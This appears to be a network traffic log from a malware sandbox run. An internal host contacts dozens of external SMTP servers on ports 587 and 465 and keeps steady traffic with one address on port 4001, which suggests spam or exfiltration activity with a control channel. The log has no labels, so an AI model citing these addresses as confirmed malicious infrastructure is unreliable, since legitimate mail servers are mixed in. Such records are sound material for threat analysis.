May 19, 2024 17:27:44.468535900 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:44.468580961 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:44.468641996 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:44.468708992 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:44.468935966 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:44.473427057 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:44.474936962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.475089073 CEST	49780	587	192.168.2.4	3.64.163.50
May 19, 2024 17:27:44.478671074 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:44.483388901 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:44.483439922 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:44.483470917 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:44.533421040 CEST	587	49780	3.64.163.50	192.168.2.4
May 19, 2024 17:27:44.533550978 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:44.533582926 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:44.533643007 CEST	49780	587	192.168.2.4	3.64.163.50
May 19, 2024 17:27:44.533674955 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.533756018 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.533788919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.534116030 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:44.534162998 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:44.534246922 CEST	49943	587	192.168.2.4	104.22.12.236
May 19, 2024 17:27:44.573389053 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.573446989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.577935934 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:44.578042030 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:44.578095913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.582665920 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:44.582698107 CEST	587	49943	104.22.12.236	192.168.2.4
May 19, 2024 17:27:44.582770109 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:44.582819939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.582827091 CEST	49943	587	192.168.2.4	104.22.12.236
May 19, 2024 17:27:44.582891941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.583585978 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:44.583596945 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:44.587589025 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:44.590573072 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.592468977 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:44.592518091 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.592592001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.592629910 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.592662096 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:44.592691898 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:44.592746973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.592777967 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:44.592781067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.593143940 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:44.593271017 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:44.593276978 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:44.597170115 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.599498987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.599577904 CEST	49785	465	192.168.2.4	23.253.215.39
May 19, 2024 17:27:44.602199078 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:44.606926918 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:27:44.606956959 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:44.606986046 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:44.607016087 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.630506039 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:44.635391951 CEST	465	49785	23.253.215.39	192.168.2.4
May 19, 2024 17:27:44.635458946 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:44.635488033 CEST	587	49924	142.93.237.125	192.168.2.4
May 19, 2024 17:27:44.635557890 CEST	49924	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:44.635597944 CEST	49785	465	192.168.2.4	23.253.215.39
May 19, 2024 17:27:44.638453007 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.638510942 CEST	49924	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:44.638555050 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.638839006 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.638868093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.640463114 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:44.640589952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.645308971 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.646122932 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:44.646122932 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:44.646123886 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:44.650054932 CEST	587	49924	142.93.237.125	192.168.2.4
May 19, 2024 17:27:44.650085926 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.650115013 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:44.650144100 CEST	587	49922	90.161.91.233	192.168.2.4
May 19, 2024 17:27:44.650204897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.650320053 CEST	49922	587	192.168.2.4	90.161.91.233
May 19, 2024 17:27:44.650320053 CEST	49922	587	192.168.2.4	90.161.91.233
May 19, 2024 17:27:44.650341034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.656682014 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:44.661092997 CEST	587	49922	90.161.91.233	192.168.2.4
May 19, 2024 17:27:44.665951967 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.677316904 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:44.682234049 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:44.682266951 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:44.682312012 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:44.682348013 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.682406902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.687158108 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.687217951 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.687278986 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:44.687655926 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:44.687688112 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:44.688055992 CEST	49945	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:44.691965103 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.692847967 CEST	49786	465	192.168.2.4	82.223.191.150
May 19, 2024 17:27:44.692900896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.692943096 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:44.693059921 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:44.696892023 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:44.701663017 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:44.701704979 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:44.701740980 CEST	587	49945	194.153.145.104	192.168.2.4
May 19, 2024 17:27:44.701771021 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:44.701807022 CEST	49945	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:44.701896906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.701935053 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.706640005 CEST	465	49786	82.223.191.150	192.168.2.4
May 19, 2024 17:27:44.706698895 CEST	49786	465	192.168.2.4	82.223.191.150
May 19, 2024 17:27:44.711492062 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.716219902 CEST	587	49921	193.201.172.98	192.168.2.4
May 19, 2024 17:27:44.716279030 CEST	49921	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:44.716334105 CEST	49921	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:44.716360092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.724179983 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:44.734396935 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:44.734503984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.739238977 CEST	587	49921	193.201.172.98	192.168.2.4
May 19, 2024 17:27:44.744050980 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.744213104 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:44.744568110 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:44.744884968 CEST	49946	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:44.749102116 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:44.754275084 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:44.755422115 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:44.760231018 CEST	587	49946	104.18.2.81	192.168.2.4
May 19, 2024 17:27:44.760297060 CEST	49946	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:44.760358095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.769258976 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:27:44.769340038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.774522066 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.781829119 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:44.781917095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.786711931 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:44.786945105 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:44.786999941 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:44.787007093 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:44.787152052 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.787697077 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.787810087 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.787966967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.787992954 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.791728020 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.796720028 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.817940950 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:44.822804928 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:44.822824001 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:44.822895050 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.822945118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.833607912 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:44.833607912 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:44.833611012 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:44.833622932 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:44.840656996 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.840955973 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:44.841002941 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:44.841691971 CEST	49947	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:44.849831104 CEST	49791	587	192.168.2.4	63.135.90.169
May 19, 2024 17:27:44.849879026 CEST	49865	587	192.168.2.4	187.108.195.38
May 19, 2024 17:27:44.849880934 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.849906921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.856288910 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:44.856379986 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.861021042 CEST	587	49919	120.50.131.112	192.168.2.4
May 19, 2024 17:27:44.861074924 CEST	49919	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:44.861104965 CEST	49919	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:44.861131907 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.864814043 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:44.864949942 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:44.865819931 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:44.865849972 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:44.865881920 CEST	587	49947	194.153.145.104	192.168.2.4
May 19, 2024 17:27:44.865912914 CEST	587	49791	63.135.90.169	192.168.2.4
May 19, 2024 17:27:44.865941048 CEST	49947	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:44.865956068 CEST	49791	587	192.168.2.4	63.135.90.169
May 19, 2024 17:27:44.865982056 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.866013050 CEST	587	49865	187.108.195.38	192.168.2.4
May 19, 2024 17:27:44.866041899 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:44.866059065 CEST	49865	587	192.168.2.4	187.108.195.38
May 19, 2024 17:27:44.866739988 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.866766930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.896203995 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:44.911678076 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:45.099021912 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:45.099864006 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:45.099910021 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:45.099941969 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:45.099982023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.100022078 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.100053072 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:45.100174904 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.100234985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.100270987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.100292921 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:45.100326061 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:45.100332975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.100356102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.100358963 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:45.100368977 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:45.100435972 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:45.100492954 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:45.104089022 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:45.104196072 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.104265928 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:45.104300022 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:45.104332924 CEST	587	49791	63.135.90.169	192.168.2.4
May 19, 2024 17:27:45.104373932 CEST	587	49919	120.50.131.112	192.168.2.4
May 19, 2024 17:27:45.104387045 CEST	49791	587	192.168.2.4	63.135.90.169
May 19, 2024 17:27:45.104391098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.104422092 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.104451895 CEST	587	49865	187.108.195.38	192.168.2.4
May 19, 2024 17:27:45.104480982 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:45.104490042 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:45.104512930 CEST	49865	587	192.168.2.4	187.108.195.38
May 19, 2024 17:27:45.104557991 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:45.104562998 CEST	49919	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:45.104562998 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:45.104942083 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:45.104984999 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:45.104984999 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:45.104991913 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:45.105040073 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:45.105098963 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:45.108705997 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:45.108767033 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:45.108777046 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:45.108800888 CEST	587	49919	120.50.131.112	192.168.2.4
May 19, 2024 17:27:45.108817101 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:45.108831882 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.108860016 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.114362001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.114418983 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:45.114500046 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:45.114530087 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:45.114557981 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.114587069 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:45.114618063 CEST	587	49791	63.135.90.169	192.168.2.4
May 19, 2024 17:27:45.114646912 CEST	587	49865	187.108.195.38	192.168.2.4
May 19, 2024 17:27:45.114674091 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.114703894 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:45.114732027 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:45.114761114 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:45.114789009 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:45.114893913 CEST	49796	587	192.168.2.4	104.21.37.242
May 19, 2024 17:27:45.115611076 CEST	49798	587	192.168.2.4	194.76.232.141
May 19, 2024 17:27:45.115715027 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.115778923 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.120054960 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:45.120090961 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:45.120158911 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:27:45.120655060 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:45.124983072 CEST	587	49796	104.21.37.242	192.168.2.4
May 19, 2024 17:27:45.125061035 CEST	49796	587	192.168.2.4	104.21.37.242
May 19, 2024 17:27:45.129926920 CEST	587	49798	194.76.232.141	192.168.2.4
May 19, 2024 17:27:45.129981041 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.130074024 CEST	49798	587	192.168.2.4	194.76.232.141
May 19, 2024 17:27:45.134829044 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:45.134917021 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:45.135118961 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.142715931 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:45.142801046 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:45.146105051 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:45.146106958 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:45.146115065 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:45.146131039 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:45.146219969 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:45.158587933 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:45.158832073 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:45.163332939 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:45.163557053 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:45.181423903 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.181756973 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:45.181801081 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:45.182147026 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:45.182200909 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:45.182262897 CEST	49949	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:45.182760000 CEST	49950	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:45.196887970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.196930885 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.201689005 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:45.206655025 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:45.206826925 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:45.206857920 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:45.206892967 CEST	587	49949	104.18.2.81	192.168.2.4
May 19, 2024 17:27:45.206922054 CEST	587	49950	104.18.2.81	192.168.2.4
May 19, 2024 17:27:45.206978083 CEST	49949	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:45.206995964 CEST	49950	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:45.207046032 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.207098007 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.212085009 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.217453957 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.232353926 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:45.232386112 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:45.232664108 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.232750893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.232750893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.232750893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.233232021 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:45.233565092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.233566046 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.237517118 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:45.237620115 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:45.237714052 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.237714052 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.237714052 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.237746000 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:45.242914915 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.286839008 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:45.287112951 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:45.287141085 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:45.291893959 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.291959047 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.291990995 CEST	587	49856	64.59.136.142	192.168.2.4
May 19, 2024 17:27:45.292021990 CEST	587	49856	64.59.136.142	192.168.2.4
May 19, 2024 17:27:45.292051077 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:27:45.292084932 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:45.292093992 CEST	49856	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:45.292160988 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.292191982 CEST	587	49856	64.59.136.142	192.168.2.4
May 19, 2024 17:27:45.292272091 CEST	49856	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:45.293236017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.293549061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.293590069 CEST	49856	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:45.293620110 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.294193983 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.296639919 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:45.296756983 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.304826021 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:45.304905891 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.304971933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.305003881 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.305043936 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:45.305107117 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:45.305212021 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:45.305259943 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:45.305289984 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:45.305377007 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:45.305620909 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:45.306417942 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:45.309586048 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.309614897 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.309644938 CEST	587	49856	64.59.136.142	192.168.2.4
May 19, 2024 17:27:45.309672117 CEST	4001	49734	212.162.153.199	192.168.2.4
